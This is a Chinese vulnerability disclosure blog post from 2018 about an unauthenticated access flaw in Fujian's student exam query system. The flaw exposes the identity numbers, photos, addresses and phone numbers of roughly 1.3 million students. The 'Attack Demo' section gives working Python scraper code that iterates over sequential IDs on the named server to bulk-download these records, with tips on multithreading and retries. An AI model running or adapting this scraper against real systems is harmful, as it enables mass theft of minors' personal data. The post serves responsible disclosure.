因为提交漏洞的时候都打了 watermark… 所以… 很丑
发现漏洞没有修复,于是乎准备向漏洞盒子提交这个漏洞 在提交前先做好取证的相关工作。
这个漏洞来源是在福建省普高学生学业水平考试查询系统中发现的
http://220.160.54.42/HKMS/login.shtml?method=studentLogin
这个网页做的实在是简陋。先观察一下这个网页的源代码,可以发现很多问题,例如注释未删减透露的一些信息。
刚刚试验无法使用之前成功登录的密码登入网站。使用帐号+默认密码登录成功后网页会跳出修改密码的页面并陷入死循环,估摸着是管理员在限制考生登录网站。所以接下来是原先的截图配上文字说明 2018.02.12.下午 又可以访问了
新冠病毒时代考古
这文化水平啊…
Inspect & Analysis
用学生帐号成功登录后对页面对网站框架分析审查,右框显示的是考生的个人信息。
显然,考生个人信息均被保存在
"http://220.160.54.42/HKMS/studentCenter.shtml?method=tab&examineeId=%s" % (examineeId,考生号,某种顺序编排的号码非下文的ksh)
这个页面包含了考生号
、照片
、姓名
、学籍校
、考籍校
、年级
、班级
、性别
、政治面貌
、证件类型
、证件号码
、出生日期
、民族
、籍贯
、邮政编码
、报考类别
、联系电话
、通讯地址
等信息且均不可修改。
这样的网页里。我们点击第二个考籍修改 再次对框架进行审查,可以得到这个框架的源地址是
"http://220.160.54.42/HKMS/examineeSC.shtml?method=viewByStudentCenter&ksh=%s" % (学号)
这个网页包含了和考生个人信息网页类似的内容,只不过缺少了学籍校
、考籍校
、年级
、班级
且邮政编码
、联系电话
、通讯地址
可修改。这个网页的参数ksh
即考生号(实为学号)
可以直接判断该考生的来源
例子:
1641010XXX
可以解码为16
2016 级41
福建省龙岩市01
第一中学XXXX
考生序号
在之前信息技术会考考试软件中,直接输入学号即可以获得考生的个人相片。由此我对显示考生相片再次审查
可以看到考生的相片被储存在
"http://220.160.54.42/HKMS/examineePre.shtml?method=showPHOTO&ksh=%s" % (学号)
一个学号对应一个网页,将该网页下载至本地并将文件类型(后缀)修改成jpg
,即可看到该考生的照片。
我只要在控制台进行相关操作,框架便会显示指定考生的个人信息
类似的操作有
javascript: examineeChangeView('1641010393')
javascript: examineeView('1641010393')
javascript: showExamDetail('878559')
Assessment
以上只是列举一部分的框架组成,严重的问题出现在这些框架均未加密,可以以访客的身份直接打开。
稍微看了一下成绩查询的页面,使用 cookies 查询到的考试成绩,还未做更加详细的分析。 初略的估计这个泄漏涉及到 30W 考生
今天登录的时候发现成绩查询入口没有在页面上显示,查看一下源代码,意外发现只是被注释掉了
还发现了考场安排查询也是在注释其中
一个修补漏洞的思路: 将考生信息加密处理,登录前拒绝访问,登录后可见,且一考生对应该考生个人信息显示,技术细节请维护人员自行处理。
接下来我们先研究一下examineeId
是如何排序的。
我从800000
随意开始试验,发现这个序列是按照学校有序排列的,但是之后的过程中发现有些考生顺序不在其中,跨越了几个号码,由此想到是否是按照信息录入顺序填写的,由小到大穷举到1085694
之后网页便返回 HTTP500,我以为只有1085695
人被录入该系统,而实际上是1085695
到1085679
出现了断片,使用二分法继续穷举,截至到1299945
之后的网页均为 HTTP500
相当于是截至今日,福建省1299945名考生的信息未做任何加密保护浮于网络上。
当然有机会可以将examineeId
和ksh
一一对应观察是否存在对应关系。
Attack Demo
既然知道了信息是如何罗列的,那么获取信息自然很容易,下面 demo 一个不法分子如何利用爬虫获取信息的方式
使用工具:Python 3.x 攻击类型:数据爬虫
可以利用 Python 内置的 urllib 模块进行网页访问操作,我们只要构建一个文件保存操作即可。代码如下
# coding:utf8
import urllib.request
def getHtml(url):
html = urllib.request.urlopen(url).read()
return html
def saveHtml(file_name, file_content):
#Win文件名禁用符
with open(file_name.replace('/', '_') + ".html", "wb") as f:
#将str转码到bytes写入文件
f.write(file_content)
上面的代码写入的是 html 网页数据,如果需要写入图片数据只需要将第 10 行改成
with open(file_name.replace('/', '_') + ".jpg", "wb") as f:
考虑到需要获取的网页传入参数是有按照一定顺序排列,可以使用 for 循环解决掉每一项任务。
此时只需要给出一个R = range(xxx,xxx)
使其一个个代换。循环代码如下
R = range(xxx,xxx)
for id in R:
pUrl = "http://220.160.54.42/HKMS/examineePre.shtml?method=showPHOTO&ksh=%s" % (id)
scUrl = "http://220.160.54.42/HKMS/studentCenter.shtml?method=tab&examineeId=%s" % (id)
escUrl = "http://220.160.54.42/HKMS/examineeSC.shtml?method=viewByStudentCenter&ksh=%s" % (id)
html = getHtml(escUrl)
saveHtml(str(id),html)
print("%s 下载成功" % (id))
print("全部下载成功")
这里有三个 Url,分别是照片、考生个人信息、考籍修改,只需要按照上文所指的规律填写 range 就可以依次爬取数据。 如果要在三个 Url 和不同 range 之间切换,可以再加入一个 for 循环
考虑到工程量巨大,可以写一个并发进行的多线程脚本,使其执行不同 range 的任务,大大加快爬取速度。
220.160.54.42
这个服务器相当不稳定,经常出现宕机状况,在下载考籍修改 html 时候会出现如下提示并无法访问网页
http.client.RemoteDisconnected: Remote end closed connection without response
稍做休息网站又恢复运转,可能是服务器的流量保护机制(一个例子是学生涌入查分时候出现大量无法访问该网站的情况)
解决人力问题可以这样操作:
使用脚本后台执行访问指定网页(有一定时间间隔),如果返回 200 则调用对应代码发信(可以使用email
和smtplib
模块),如果非 200 则继续尝试访问,在这里不给出详细代码。
爬取效果如下图所示
已将所有演示文件销毁处理
打开考籍修改的 html,找到网页依赖的 css 文件并下载放入文件夹,网页的面貌又恢复如初了。
据我所知可以利用工具(软件或相关代码)将 html 文件对应信息提取写入一个数据表(excel 表格)组合成一个数据库,那么查询考生的个人信息将是易如反掌。
如果不法分子熟识了以上的方式方法,那么考生的个人信息将可能被贩卖或利用到不法行径上,考生的个人安全也将出现漏洞。该漏洞在早些时候我已提交到了 360 补天漏洞响应平台,但是时日已久,该漏洞仍然存在,所以今天我做了一个 demo,演示一下不法分子如何获取到敏感信息。
2018.02.12